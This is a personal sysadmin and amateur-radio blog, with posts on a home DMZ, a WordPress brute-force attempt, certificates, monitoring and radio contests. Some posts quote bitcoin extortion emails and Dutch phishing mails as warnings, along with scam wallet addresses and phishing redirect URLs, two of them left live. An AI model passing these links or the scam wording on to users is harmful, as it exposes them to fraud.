koos@conway:~$ /sbin/brctl show brwireless
bridge name     bridge id               STP enabled     interfaces
brwireless              8000.4ccc6a8efa4b       no              enp10s0.3
                                                        vnet2
                                                        vnet9

Solution: name the interfaces in the VM definitions, like:

    <interface type='bridge'>
      <source bridge='brdmz'/>
      <target dev='dmz-minsky'/>
      <model type='virtio'/>
      <address type='pci' domain='0x0000' bus='0x00' slot='0x03' function='0x0'/>
    </interface>

And now names are more logical:

koos@conway:~$ /sbin/brctl show brdmz
bridge name     bridge id               STP enabled     interfaces
brdmz           8000.4ccc6a8efa4b       no              dmz-minsky
                                                        enp10s0.11

I have a lot of control over the software that runs on systems at home but there are limits to what I can fix and sometimes things are insecure.

Things like the recent wordpress brute force attacks show that random 'loud' attackers who don't care about the chance of getting noticed will try. I sometimes do worry about the silent and more targeted attackers.

So recently I updated my home network and I now have a DMZ network. At this moment it is a purely virtual network as it doesn't leave the KVM server. Hosts in the DMZ have a default-deny firewall policy to the other inside networks. Specific services on specific hosts have been enabled.

I first moved the development webserver, which allowed me to tune those firewall rules and fix some other errors.

Now other webservers and other servers offering things to the outside world have moved.

I am sitting behind the radio running FT8 on the 10 meter band and it's open in some interesting directions. According to PSK reporter my signals have been received in India(!) but I haven't made any contacts to India on 10 meters. The interesting contacts I have made on 10 meters were a few new countries on that band: South Africa, Swaziland, Lebanon and Georgia.

Earlier Swaziland was completely new for me thanks to the 3DA0RU DXpedition visiting there. I also got the DXpedition to Sao Tome & Principe in the log: S9OK.

The wordpress blog software is a popular target for attacks. I normally have fail2ban running with some rules to detect bad things on sites behind haproxy but due to some other work on the firewall rules I had fail2ban temporarily disabled.

Someone/something at IP address 51.103.24.29 (A Microsoft-managed IPv4 address) noticed this and fired off a brute force script which ended up making 521525 attempts at logging in, none of which worked. It was stopped when I enabled fail2ban again.

The first indication of interesting amounts of things happening was that the disc i/o led of the server was blinking a lot. The second indication was the high amount of traffic seen for the specific backend in haproxy.

Later I also discovered the actual power use of the server was higher.

This time the scammer / fraud / criminal tries using a lot of text to convince victims to pay bitcoins.

Using bitcoin address bc1qtzqgwqe3cd4cnv26vawxvfg3kr09r0jv53p8nw where it shows this one is already known and no money has been lost.

A bit of a sample, showing that the scammer has some imagination and a good grasp of English:

During the pandemic outbreak a lot of providers have faced difficulties in
maintaining a huge number of staff in their offices and so they have decided to
use outsourcing instead.
While working remotely from home, I have got unlimited abilities to access the
user databases.

I can easily decrypt passwords of users, access their chat history and online
traffic with help of cookie-files.
I have decided to analyse users traffic related to adult websites and adult
content.

My spyware functions as a driver. Hence, I can fully control your device and
have access to your microphone, camera, cursor and set of symbols.
Generally speaking, your device is some sort of my remote PC.
Since this spyware is driver-based, then I can constantly update its
signatures, so that no antivirus can detect it.
While digging through your hard drive, I have saved your entire contact list,
social media access, chat history and media files.

Earlier items about bitcoin extortion scams: Earlier, earlier, earlier, earlier, earlier, earlier, earlier (although I think bitcoin is generally a really bad idea and a huge scam)

Update 2021-10-13: As not enough money is coming into this wallet the scammer tries again. Same address, demanding an amount equivalent to $1150 (USA Dollars). As the mail comes from some random ISP in Chili I think the criminal is somewhere else on this planet.

Een redelijk standaard valse mail, al bekend bij de fraudehelpdesk: Diverse onderwerpen Klik op “Lees meer” - fraudehelpdesk.nl

   Geachte heer/mevrouw ,
   Er staat een document in uw Berichtenbox van Belastingsamenwerking
   Gemeenten en Waterschappen. Ga naar [1]MijnOverheid om het bericht te
   bekijken. Mogelijk moet u naar aanleiding van dit bericht actie
   ondernemen. Lees het daarom op tijd.
   Met vriendelijke groet,
   MijnOverheid
   Logo Rijksoverheid

   Technisch onderhoud Berichtenbox app
   Vanwege technisch onderhoud is het momenteel niet mogelijk om het
   bericht via de Berichtenbox direct te lezen. Bekijk het bericht daarom
   direct via uw webbrowser.

URL spoor:

• hxxps://t.co/Fpu3LOuf9Y
• https://u.nu/SOGTH
• https://tinee.link/ZJJeb
• hxxps://ukrijgtterug2020.xyz/

Niet geheel onverwacht is dit domein vandaag geregistreerd:

Domain Name: UKRIJGTTERUG2020.XYZ
Registry Domain ID: D253685109-CNIC
Updated Date: 2021-10-08T10:58:04.0Z
Creation Date: 2021-10-08T10:44:42.0Z
Registry Expiry Date: 2022-10-08T23:59:59.0Z

Site staat achter cloudflare IP adressen. Dus het certificaat zegt ook niet zoveel op https://crt.sh/?id=5375183746 en de achterliggende site reageert op dit moment niet dus ik krijg een mooie cloudflare foutmelding.

As someone interested in security I'm also busy with securing the websites I develop and run. I'm looking at Content-Security-Policy headers and I notice those seem 'easier' for sites that have one task and one source of development like Camp Wireless and somewhat harder for sites that collect pages/scripts/materials over the years like idefix.net.

Although Camp Wireless can have some advertising, which suddenly turns the whole thing around since advertising scripts can load other advertising scripts completely dynamic. Searching for 'google adwords' and 'Content-Security-Policy' gave me Can Content Security Policy be made compatible with Google Analytics and AdSense? and the answer seems to be either "no" or "with a lot of work which you have to keep updating".

Update: I temporarily added a Content-Security-Policy-Report-Only directive to get an idea what kind of problems I will run into (with my own reporting backend). A lot of them. All inline javascript is suddenly a problem. So a 'fully secured' Content Security Policy header is already hard for single task, single source websites, let alone websites with a lot of history in the pages.

The 'moment of truth' for LetsEncrypt: the end of the validity of the root certificate that was used to kickstart LetsEncrypt before they got their own root certificate in (most) certificate stores.

I notice openssl is still showing the old chain (but not the expired intermediate):

---
Certificate chain
 0 s:CN = koos.idefix.net
   i:C = US, O = Let's Encrypt, CN = R3
 1 s:C = US, O = Let's Encrypt, CN = R3
   i:C = US, O = Internet Security Research Group, CN = ISRG Root X1
 2 s:C = US, O = Internet Security Research Group, CN = ISRG Root X1
   i:O = Digital Signature Trust Co., CN = DST Root CA X3
---

Which is interesting as the ISRG Root X1 is also in the root store. But it's also cross-signed to the DST Root CA.

Checking the verification steps (and not the chain as given out by the server) gives the new path already:

depth=2 C = US, O = Internet Security Research Group, CN = ISRG Root X1
verify return:1
depth=1 C = US, O = Let's Encrypt, CN = R3
verify return:1
depth=0 CN = koos.idefix.net
verify return:1

This is a subtle but important difference.

Only hours left until the DST Root expires:

$ openssl x509 -in DST_Root_CA_X3.crt -noout -enddate
notAfter=Sep 30 14:01:15 2021 GMT

If services break after 14:01:15 GMT (UTC) today you're not working according to best practices (replacing the certificate chain with every certificate replacement) or you have old clients.

Slight update: I requested a new LetsEncrypt certificate for a service after 14:01:15 GMT (UTC) and it still has the certificate chain with cross-certification to DST Root CA X3:

---
Certificate chain
 0 s:CN = koos.idefix.net
   i:C = US, O = Let's Encrypt, CN = R3
 1 s:C = US, O = Let's Encrypt, CN = R3
   i:C = US, O = Internet Security Research Group, CN = ISRG Root X1
 2 s:C = US, O = Internet Security Research Group, CN = ISRG Root X1
   i:O = Digital Signature Trust Co., CN = DST Root CA X3
---

The verification steps are as above.

Het nieuws over de woningmarkt in nederland is blijkbaar ook opgepikt door de fraudeurs die graag mensen geld afhankelijk maken.

Onderstaande uit de inkomende berichten. Keurig alle kenmerken van een poging fraude: urgentie 'binnen 2 weken' en vervelende consequenties als de gebruiker niets doet 'Uw opgebouwde inschrijfduur en eventuele reacties vervallen dan'.

Allemaal vooral tekenen van een poging tot oplichting. Trap hier niet in. Meer informatie bij Diverse onderwepen Klik op “Lees meer” - fraudehelpdesk.nl.

Geachte klant,

Uw inschrijving bij WoningNet

Over 2 weken verloopt uw inschrijving. Uw inschrijving verlengen wij met een
jaar als u de verlenginskosten van

WoningNet-verlengingskosten                                                   

Factuurnummer: SRA-00717113

Wilt u betalen via een doorlopende machtiging? dit kan, nadat u dit jaar nog
via iDEAL betaald heeft. U kunt na de betaling bij overzicht van mijn gegevens
uw betaalwijze veranderen.

Volgend jaar zullen wij dan de verlengingskosten van uw rekening incasseren.
Ook hiervan krijgt u via e-mail een bericht. Meer informatie over betalen van
de verlengingskosten vindt u op onze website.

Uitschrijven

Als u niet binnen 2 weken betaalt, schrijven wij u uit. Uw opgebouwde
inschrijfduur en eventuele reacties vervallen dan.

De url voor de 'WoningNet-verlengingskosten' :

hxxps://t.co/1nuIzIn4KV?amp=1

t.co is de url-verkorter van twitter.

Gaat door naar:

hxxps://0x1.co/WE8FY

Een andere url-verkorter.

Gaat door naar:

hxxps://0mgeving-online.ga/

;; ANSWER SECTION:
0mgeving-online.ga.     3511    IN      A       195.133.40.102

En die reageert op dit moment niet. Opvallend: Er is ook (nog) geen certificaat voor bekend in de CT-logs.

Update: Aparte vermelding nu bij fraudehelpdesk.nl met voorbeeld: Lidmaatschap behouden - Fraudehelpdesk.

Today I ran into an issue related to systemd and I decided to try to fix it without too much cursing. The result was a number of google searches ending up on unix.stackexchange.com but eventually I fixed the problem.

At work we use splunk for security monitoring and one of the indexers failed to start the splunk processes after a reboot. On browsing the systemd boot log with journalctl -b -l I discovered that the main issue was that creating files in /opt/splunk failed. This was due to an interesting race condition: splunk may start as soon as target network.target has been reached, but mounting /opt over iscsi also needs network.target to start. So the unit file has been updated to:

[Unit]
Description=Systemd service file for Splunk, generated by 'splunk enable boot-start'
After=network.target opt.mount

The next problem was the systemctl start Splunkd.service failing in some intricate way. I had a look at the logging and saw that it was actually trying to restart the service and failed at killing one of the old processes. It turned out the /opt/splunk/var/run/splunk/splunkd.pid file had old contents and one of the PIDs in that file was now in use by a kernel thread. Those you can't kill, the restart failed and therefore the service did not start at all. Solution: remove the .pid file.

Past weekend was the 2021 version of the CQ World Wide RTTY DX Contest and I participated. I had time to participate in a few intervals during the weekend and it helped that it was a 48-hour contest so I could get some more contacts in the log Sunday evening.

In the end I made 151 contacts, a really nice number.

Update 2022-09-28: I saw I never updated this post with the results: 151 valid contacts, 2 states, 17 zones, 52 countries. One of the rankings: #57 The Netherlands.

In the phishing mail today:

   -------- Original Message --------

   Subject: Mail delivery failed: returning message to sender

   From: Mail Delivery System
   Date: 9/23/2021 7:09:49 p.m.

   To: koos@[..]



   This message was created automatically by mail delivery software.



   Some recent messages that you sent could not be delivered to one or
   more of its recipients.
   This is a temporary error tha can be corrected.

   Reporting-MTA: dns;[1]click to retry delivery
   Action: failed
   Status: Queued on server

The 'click to retry' was a link to a phishing site. Nicely copied from a standard mailer error message. Too bad the phishing site doesn't work!

I haven't written about new countries I had contacts with via amateur radio for a while, but today I finally got New Zealand in the log, which has been on my wishlist for a while. Indeed all countries that I don't have in the log yet are on that wishlist, but ranked according to Clublog New Zealand should be the 'easiest' for me.

This morning I had a contact using the FT8 mode with ZL4AS on the 40 meter amateur band. This means a contact over a distance of 18726 kilometers. And by the time I write this the contact is already confirmed via Logbook of The World.

The previous new country was Taiwan, last Wednesday using FT8 on the 20 meter band. That contact was with amateur station BU2FF who also confirmed very fast.

And a while ago I had a contact with a station in Trinidad & Tobago but I haven't seen confirmation yet.

So I am still going strong with contacts on amateur radio, sometimes finding that rare opportunity for a new country.

I always noticed that I had to plug in the USB cable for the remote radio with the radio switched off, otherwise the Kenwood TS480 would switch into transmit mode and stay there until I powered the radio off.

Annoying, and I thought it was something in the serial initialization. Recently I was thinking about this and remembered something about query sequences on serial devices triggering weird behaviour in other devices. From what I read about the Kenwood serial protocol the chance of a few stray characters changing something in the radio is quite possible.

So I considered what Linux software could do a query as soon as a serial port is added to the system. Well, modemmanager was the ideal candidate for this:

Package: modemmanager
[..]
Description-en: D-Bus service for managing modems
 ModemManager is a DBus-activated daemon which controls mobile broadband
 (2G/3G/4G) devices and connections. Whether built-in devices, USB dongles,
 Bluetooth-paired telephones or professional RS232/USB devices with external
 power supplies, ModemManager is able to prepare and configure the modems and
 setup connections with them.

And indeed, simply removing modemmanager made the problem go away. I can now plug in the USB cable when the radio is on and nothing happens.

After starting the collection of a lot of the system data I wanted with telegraf/influxdb/grafana one small part was missing: the system temperature sensors. I like these, so I had a look and found the inputs.temp plugin in telegraf which is normally disabled.

Enabling it on hosts that have actual hardware to measure worked ok. On the Raspberry Pi systems it gives one temperature:

> SHOW TAG VALUES ON "telegraf" WITH key="sensor" WHERE host='joy'
name: temp
key    value
---    -----
sensor cpu_thermal_input

On the home server conway it gives quite a lot of temperatures:

> SHOW TAG VALUES ON "telegraf" WITH key="sensor" WHERE host='conway'
name: temp
key    value
---    -----
sensor coretemp_core0_crit
sensor coretemp_core0_critalarm
sensor coretemp_core0_input
sensor coretemp_core0_max
sensor coretemp_core1_crit
sensor coretemp_core1_critalarm
sensor coretemp_core1_input
sensor coretemp_core1_max
sensor coretemp_core2_crit
sensor coretemp_core2_critalarm
sensor coretemp_core2_input
sensor coretemp_core2_max
sensor coretemp_core3_crit
sensor coretemp_core3_critalarm
sensor coretemp_core3_input
sensor coretemp_core3_max
sensor coretemp_core4_crit
sensor coretemp_core4_critalarm
sensor coretemp_core4_input
sensor coretemp_core4_max
sensor coretemp_core5_crit
sensor coretemp_core5_critalarm
sensor coretemp_core5_input
sensor coretemp_core5_max
sensor coretemp_physicalid0_crit
sensor coretemp_physicalid0_critalarm
sensor coretemp_physicalid0_input
sensor coretemp_physicalid0_max

For the dashboard showing all relevant temperatures for a system this is a bit overkill and makes the dashboard hard to read. Solution: go for all the temperature sensors that end in 'input', with the variable in the dashboard defined as 'ending in input':

> SHOW TAG VALUES ON "telegraf"  WITH key="sensor" WHERE host='conway' AND sensor=~/input$/
name: temp
key    value
---    -----
sensor coretemp_core0_input
sensor coretemp_core1_input
sensor coretemp_core2_input
sensor coretemp_core3_input
sensor coretemp_core4_input
sensor coretemp_core5_input
sensor coretemp_physicalid0_input

So far this works with all physical systems.

Grafana host dashboard with telegraf data including entropy. The dip in entropy is caused by the dnssec-signzone process

I have been collecting certain system data for ages with rrdtool, but now I see what is possible with Telegraf collecting agent and after some initial attempts I'm all in favour and data is flowing.

All the data I collected is already standard in telegraf, including entropy! Other data is also collected that is good to keep an eye on for performance.

I made some tweaks to the standard telegraf configuration: collect every 5 minutes, not exactly on the clock since I read The mystery of load average spikes which reminded me of my own experience Be very careful of what you measure. I also avoid gathering data on nfs filesystems (which come and go thanks to autofs).

I rolled out telegraf over all systems at home, and now there is a nice 'System info' dashboard in Grafana.

I continued my slow migration of statistics to Influxdb/Grafana and added the network traffic. I've been gathering this for ages in rrdtool, my earlier view was that I've been using rrdtool for network and other statistics since October 2002 so it is a bit of a change.

I updated the perl scripts that fetch network traffic statistics over SNMP to also add the data to influxdb. And it was simple to create a dashboard with that data. The overview pages with data for all interfaces for one measured host also link to detail pages per interface which also show the number of errors.

I'm personally not a huge fan of wildcard TLS certificates (risks with reuse of the private key) so I didn't try those yet, but based on my experiences with certificates with multiple names with zerossl I got a response: Stephen Harris on Twitter: Do they support wildcards and I just had to try. And it works! I requested a certificate:

        Requested Extensions:
            X509v3 Subject Alternative Name:
                DNS:gosper.idefix.net, DNS:*.gosper.idefix.net

And indeed it worked:

        Issuer: C = AT, O = ZeroSSL, CN = ZeroSSL ECC Domain Secure Site CA
        Validity
            Not Before: Sep  1 00:00:00 2021 GMT
            Not After : Nov 30 23:59:59 2021 GMT
        Subject: CN = gosper.idefix.net
[..]
            X509v3 Subject Alternative Name: 
                DNS:gosper.idefix.net, DNS:*.gosper.idefix.net

So that works too! The choice for gosper.idefix.net is because I already had dns records setup for dns-01 based verification of that name.

I assumed the free tier of zerossl doesn't allow for certificates with multiple names but I guess I assumed wrong, because I just got issued a certificate with multiple names.

After debugging my earlier issues with zerossl and finding out I forgot the CAA record this time I tried a certificate with the subjectAltName extension in use with more than one name.

$ openssl req -in httprenewable/webserver-devvirtualbookcase.csr -noout -text
[..]
        Attributes:
        Requested Extensions:
            X509v3 Subject Alternative Name:
                DNS:developer.virtualbookcase.com, DNS:perl.virtualbookcase.com

And the certificate dance went fine with dehydrated:

$ ./dehydrated/dehydrated --config /etc/dehydrated/config.zerossl -s httprenewable/webserver-devvirtualbookcase.csr > tmp/certificate.crt
 + Requesting new certificate order from CA...
 + Received 2 authorizations URLs from the CA
 + Handling authorization for developer.virtualbookcase.com
 + Handling authorization for perl.virtualbookcase.com
 + 2 pending challenge(s)
 + Deploying challenge tokens...
 + Responding to challenge for developer.virtualbookcase.com authorization...
 + Challenge is valid!
 + Responding to challenge for perl.virtualbookcase.com authorization...
 + Challenge is valid!
 + Cleaning challenge tokens...
 + Requesting certificate...
 + Order is processing...
 + Checking certificate...
 + Done!
$ openssl x509 -in tmp/certificate.crt -noout -text | less
[..]
            X509v3 Subject Alternative Name:
                DNS:developer.virtualbookcase.com, DNS:perl.virtualbookcase.com

The /etc/dehydrated/config.zerossl has the EAB_KID and EAB_HMAC_KEY values set to the ones associated with my account.

This means zerossl works as a complete secondary certificate issuer and I could switch over completely in case LetsEncrypt isn't available. Choice is good!

Based on the recent article Here's another free CA as an alternative to Let's Encrypt! I decided to check my options for having an alternative to LetsEncrypt.

Not because I have or had any problems with LetsEncrypt, but I like having a backup option. So I started with zerossl as option.

Sofar I did the whole registration and certificate request dance purely with the dehydrated client, but that gives an error on a certificate request:

 + Requesting new certificate order from CA...
 + Received 2 authorizations URLs from the CA
 + Handling authorization for developer.virtualbookcase.com
 + Handling authorization for perl.virtualbookcase.com
 + 2 pending challenge(s)
 + Deploying challenge tokens...
 + Responding to challenge for developer.virtualbookcase.com authorization...
 + Challenge is valid!
 + Responding to challenge for perl.virtualbookcase.com authorization...
 + Challenge is valid!
 + Cleaning challenge tokens...
 + Requesting certificate...
 + Order is processing...
ERROR: Order in status invalid

Creating a zerossl account with a webbrowser and setting the EAB_KID and EAB_HMAC_KEY to the values from my zerossl account also doesn't help, that also ends with

$ ./dehydrated/dehydrated --ca zerossl --config /etc/dehydrated/config.zerossl -s httprenewable/webserver-devvirtualbookcase.csr > tmp/certificate.crt
 + Requesting new certificate order from CA...
 + Received 2 authorizations URLs from the CA
 + Handling authorization for developer.virtualbookcase.com
 + Handling authorization for perl.virtualbookcase.com
 + 2 pending challenge(s)
 + Deploying challenge tokens...
 + Responding to challenge for developer.virtualbookcase.com authorization...
 + Challenge is valid!
 + Responding to challenge for perl.virtualbookcase.com authorization...
 + Challenge is valid!
 + Cleaning challenge tokens...
 + Requesting certificate...
 + Order is processing...
ERROR: Order in status invalid

I realized a certificate for multiple names isn't supported by the free tier of zerossl. Removing one of the names from the certificate still made it end up in status 'invalid'.

Also re-creating the account in dehydrated after creating the zerossl account and setting the EAB_KID and EAB_HMAC_KEY variables correctly didn't solve things yet. The same request works fine with LetsEncrypt so the issue is something with dehydrated / zerossl.

Update: Sharing my woes gave a suggestion: Stephen Harris on Twitter: "@khoos You have a CAA record for virtualbookcase.com that might be blocking it." / Twitter and Stephen is absolutely right: I set up CAA records ages ago for all my domains. And the zerossl CAA document I can find absolutely agrees I need to add a CAA record allowing certificates by sectigo.com.

Updated: And after waiting for DNS propagation and trying again I now have a zerossl.com certificate:

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            4e:7b:c8:e9:ad:fd:14:ad:5c:ae:a2:57:fe:45:d9:41
        Signature Algorithm: ecdsa-with-SHA384
        Issuer: C = AT, O = ZeroSSL, CN = ZeroSSL ECC Domain Secure Site CA
        Validity
            Not Before: Aug 19 00:00:00 2021 GMT
            Not After : Nov 17 23:59:59 2021 GMT
        Subject: CN = perl.virtualbookcase.com

I received the results of the Canada winter contest I participated in last December and my remark In total I got 3 different Canadian stations in the log and I entered my log. It won't be the winner in the DX category, but I appreciate the fact that the Radio Amateurs of/du Canada organize this so I do my part in making the scoring possible. works out differently: I am "First Place for The Netherlands in the category Single Op Single Band 20 meter".

Yet another bitcoin extortion scammer, this time using address 1Gkg3g7GGbsKktkkbgKNfL6MMGZ1xCoGJC. The reports read like she/he has tried it in multiple languages. Until this moment no bitcoins have ended up with the scammer.

Earlier items about bitcoin extortion scams: Earlier, earlier, earlier, earlier, earlier, earlier (although I think bitcoin is generally a really bad idea and a huge scam)

Yesterday I switched to a different Internet provider and now the phishing trying to convince me I need to give my account details for the old account to avoid the account being closed is extra funny!

And although they all state they are the kzdoos.xs4all.nl webmail there is no such thing for the abusers to try any login credentials at.

De overstap naar Freedom internet is gelukt. De verbinding met xs4all verbrak om 04:56:30 en om 04:56:46 was de verbinding weer gemaakt met Freedom Internet met de nieuwe IPv6 en IPv4 adressen.

De overschakeling was daarna een kwestie van alle configuraties die ik had klaarstaan activeren en statische IPv6 thuis adressen omnummeren. Daarna nog een paar kleine dingetjes die ik vergeten was maar niets storends.

It may seem like a complicated stack compared to monitoring with rrdtool, but the wireless environmental monitoring with zigbee plans are starting to work. The zigbee stick arrived, I found out I needed to upgrade the Raspberry Pi in the utility closet to be able to run zigbee2mqtt so I did that: Raspberry pi monitoring the smart meter is now installed and the zigbee environment sensors arrived and the first one joined the network. After some changes to mqtt-to-influxdb-forwarder I was able to get the data into influxdb.

The final step was to tell grafana where to find the data and create a dashboard visualizing the results, see the screenshot.

I'm also improving small things in using zigbee sensors and improving data collection. After learning about not leaving the network running with permit_join true I had a look at the configuration messages I can send to zigbee2mqtt. It is clear zigbee2mqtt is not just from zigbee sensors to mqtt messages but also the other way around, both to adjust settings in zigbee2mqtt itself and to send commands to zigbee devices.

I did change the friendly_name of the first sensor to the name of the room it is in, and it's now showing up in the statistics under that name. This does break the history, so I should change the name as soon as I add a sensor to the zigbee network.

Op woensdag 4 augustus gaat de overstap naar Freedom Internet gebeuren. Omdat bij de afronding van de aanvraag gelijk de IPv4 en IPv6 adressen bekend werden heb ik vast overal de configuraties aangepast en klaargezet, zodat ik volgende week weinig uitzoekwerk heb als de overgang gebeurt.

Omdat dit ook invloed heeft op websites die ik op dit moment thuis host heb ik vast de standaard time to live (TTL) in DNS verlaagd. De secondary nameservers waar dat kan heb ik vast verteld wat het nieuwe adres is wat ze kunnen proberen voor zonetransfers, omdat je in bind9 meerdere masters kunt instellen die allemaal geprobeerd worden.

The recent MicroSD failure in the Raspberry Pi made me look at the logging in zigbee2mqtt as it is running for a long time and default logging includes every received message which would give a lot of wear on the MicroSD in the Raspberry Pi. So I changed the configuration to only log to console.

This is something that can't be changed via an mqtt message, which is logical (otherwise it would have security implications).

I may also look at less system logging to the MicroSD. Someone suggested to have a look at log2ram for this. This creates a ramdisk for logging which is synchronized to persistent storage every day or on shutdown.

The Raspberry Pi in the attic running mainly dump1090 and some other software wasn't showing up in the system monitoring. On checking it turned out the MicroSD card was failing. This is a known issue in the Raspberry Pi which uses MicroSD as root filesystem. For as far as I can tell this card has been running continuously since February 2016, so over five years.

I do have a different MicroSD card which is the old card from the Raspberry Pi in the utility closet which became available after I used a different card to reinstall the Raspberry Pi for smart meter monitoring. But that card has seen some wear since it has been running since installing the smart meter and starting energy monitoring on it in August 2016 so maybe it's not a good idea to rescue a system with it, it's also five years old.

Time to order some new MicroSD cards! In the mean time I noticed I could get a bit of access to the broken card, but things stopped on mounting the linux root filesystem. It turned out that mount tries to write to the card to update the ext4 journal and the card stops completely on a write. When I mount it really readonly with

# mount -o ro,noload /dev/sdb2 /mnt/scratch/

almost all files are readable, so I recovered the dump1090 software and other configuration items. Yes, I need to add the Raspberry Pi systems to the backups.

It would be really nice if I could monitor the health of the MicroSD card like I monitor other disks (including SSD) with smartmontools.

Update: Three MicroSD cards ordered so I can replace this one and have a few spares ready. The size of those cards does mean I now have to make small bags labeled 'spare' or 'old card from system X' so I can see what they are without trying to mount them.

At the end of June was the King of Spain SSB contest and I participated for a while. I just never wrote about it, but this week the log check report came in. With... 0 errors!

In total I made 34 contacts, 2 on the 15 meter band and 32 on the 20 meter band. So I entered as all-band station and I won't be ranked very high. I used the remote radio to get good reception on HF and have access to the 15 meter band.

Update 2022-02-20: Results are in: 34 valid contacts, 58 points, 26 multipliers, 1508 score. Rank #195 single operator multi band low power DX (outside Spain).

This weekend was the IARU HF World Championship contest and I participated after fully planning this in advance. I made sure my contest logger was set up and communicating with the radio and the morse keyer in advance.

I participated on the 10, 15, 20 and 40 meter bands. In total 125 contacts. 70 in SSB (speech) and 55 in CW (morse).

Band   160   80   40   20   15   10
QSO's    0    0   32   53   32    8
Mult     0    0   22   24   13    8

Pts: 381  Mul: 67 Score: 25527

I had more trouble decoding morse than I hoped for and conditions weren't ideal. Not a lot of stations outside Europe, a few Asian ones and one US station in morse.

First conformations showing up on Logbook of The World, which gives me Bosnia-Herzegovina on 15 meters confirmed and Bosnia-Herzegovina and Switzerland confirmed in CW. Always nice to get some new things in the log but I usually only see that after the contest.

Raw score calculation when I submitted the log:

261 Qpts x 65 Mults = 16,965 (one or more Zones/HQs in the copied exchange not recognized).

I guess the problem with the exchange is with EO0HQ in Austria giving OV and not OVSV as expected but I am 100% sure I copied that correctly.

I was going through some rcu_sched messages and noticed kernel routines related to the cdrom drive showed up a few times in the tasks that were 'behind'.

[335894.319961]  [<ffffffffc03d864a>] ? scsi_execute+0x12a/0x1d0 [scsi_mod]
[335894.320702]  [<ffffffffc03da586>] ? scsi_execute_req_flags+0x96/0x100 [scsi_mod]
[335894.321820]  [<ffffffffc04a7703>] ? sr_check_events+0xc3/0x2c0 [sr_mod]
[335894.322551]  [<ffffffffb58224a5>] ? __switch_to_asm+0x35/0x70
[335894.323256]  [<ffffffffb58224b1>] ? __switch_to_asm+0x41/0x70
[335894.323906]  [<ffffffffc047d05a>] ? cdrom_check_events+0x1a/0x30 [cdrom]
[335894.324545]  [<ffffffffc04a8289>] ? sr_block_check_events+0x89/0xe0 [sr_mod]
[335894.325186]  [<ffffffffb551a9a9>] ? disk_check_events+0x69/0x150

Because the virtual machines don't do anything with the virtual cdrom after the first installation I'm removing them from all virtual machines and see what that does for these messages.

De stapel xs4all diensten die verdwijnt kan niet op. Dit keer een dienst waar ik geen gebruik van maak maar die wel teruggaat naar het eerste begin van xs4all als provider: het inbellen via het telefoonnet gaat verdwijnen bij xs4all.

Ik weet het regionale inbelnummer nog uit mijn hoofd, en als ik er op zoek kom ik een volledig (vast achterhaald) overzicht inbelnummers xs4all met regio informatie tegen. Vanaf gekke plekken (inclusief een afgelegen plek in Canada) wel ingebeld en toch even Internet kunnen gebruiken.

Het voelt wel raar. Ooit was een inbelnummer de manier om van het alomtegenwoordige telefoonnet over te stappen naar het Internet, en dat was altijd te bereiken zonder vooraf ingestelde technische infrastructuur zoals nu een kabelmodem, dsl modem, mobiel datanetwerk of andere voorzieningen.

At the end of this morning I noticed the root filesystem of the shell server on the homeserver had turned itself read-only. Another DRIVER_TIMEOUT error in the kernel messages. And I didn't want to get to a situation with half of the filesystem in lost+found like the previous time.

This time I decided to use a different approach in the hopes of getting back to a working system faster. And they worked this time.

1. echo s > /proc/sysrq-trigger to force a sync
2. echo u > /proc/sysrq-trigger to force an unmount of all filesystems
3. I killed the virtual machine with virsh destroy (the virtualization equivalent of pulling the plug)
4. I created a snapshot of the virtual machine disk to make have a state of file system to return to in case of problems in the next steps
5. I booted the virtual machine and it had indeed filesystem issues
6. So reboot in maintainance mode and did a filesystem check
7. After that it booted fine and the filesystem was fine, nothing in lost+found

After things ran ok for a while I removed the snapshot. I also changed the configuration to use virtio disks and not ide emulation. Ide emulation disks have a timeout (DRIVER_TIMEOUT) after which things are given up. The fact that (emulated) I/O hangs for 30 seconds is bad, but maybe related to the rcu_sched messages. Maybe time for some more updates.

Volgens een volgende aankondiging van xs4all gebruikte ik ook nog addressen met een plus er in voor kzdoos.xs4all.nl. Het was even zoeken en uiteindelijk bleken die inderdaad in de spambox voor te komen omdat ik lang geleden een + adres gebruikte in usenet postings. Maar spammers vergeten nooit een oud adres, zie Bitcoin extortion spam showing up on different e-mail addresses.

I was digging for leaked addresses in my spambox and found a fast way to find a lot of them: by searching for bitcoin extortion spam. A pattern emerges:

Obviously, I have easily managed to log in to your email account (ambe.at. domain).
Obviously, I have easily managed to log in to your email account (chellinger.org.at. domain).
Obviously, I have easily managed to log in to your email account (eenheld.at. domain).
Obviously, I have easily managed to log in to your email account (owelladjecroecvn.at. domain).
Obviously, I have easily managed to log in to your email account (ubmitwolfn.at. domain).
Obviously, I have easily managed to log in to your email account (ubmitwolf.at. domain).
Obviously, I have easily managed to log in to your email account (ambecomment.at. domain).
Obviously, I have easily managed to log in to your email account (ziggo.nl.at. domain).
Obviously, I have easily managed to log in to your email account (wisecommunications.at. domain).

There is very little spread in buttcoin wallets:

$ grep -h 'bitcoin wallet' * | sort | uniq -c
      2 Here is my bitcoin wallet: 12kieSEdCV4ikxdXXXC23ZsDcNmmKrRmwA (over 16600 dollar received)
     19 Here is my bitcoin wallet: 1665CsfFELrfiiubFZtLsGHGuqbUz1wXcz (over 14300 dollar received)
      1 Here is my bitcoin wallet: 1CYBbByg3eXE9LRUwh6j7ZMtFrJJyFcAcP (over 2400 dollar received)
      3 Here is my bitcoin wallet: 1LjGz2WcECaNpK1ajWcpsPEQFSxrw5DxMM (over 14400 dollar received)

Who says crime doesn't pay? Again, the author has no idea who pays, but likes a filled bitcoin wallet.

This also shows that spammers maintain really old address lists and don't mind adding more addresses by using databreaches or adding or removing letters from e-mail addresses.

Time to do a zone signing key (ZSK) rollover. That rollover is relatively easy because I don't need to synchronize it with the DS key in the parent zone.

I generated a 'successor' key for camp-wireless.com and set a short-notice publication date. The old ZSK has keytag 02908 and the new one has keytag 25619. There is an overlap of a month in which both keys are seen as valid because caching of DNS answers mean there can be signatures created with the old ZSK in caches.

Generating a signed zone after the validity of the new ZSK has started shows both ZSKs signed as valid. Old and new zone signing key:

; This is a zone-signing key, keyid 2908, for camp-wireless.com.
; Created: 20190704113915 (Thu Jul  4 13:39:15 2019)
; Publish: 20190704113915 (Thu Jul  4 13:39:15 2019)
; Activate: 20190704113915 (Thu Jul  4 13:39:15 2019)
; Inactive: 20210705000000 (Mon Jul  5 02:00:00 2021)
; Delete: 20210805000000 (Thu Aug  5 02:00:00 2021)
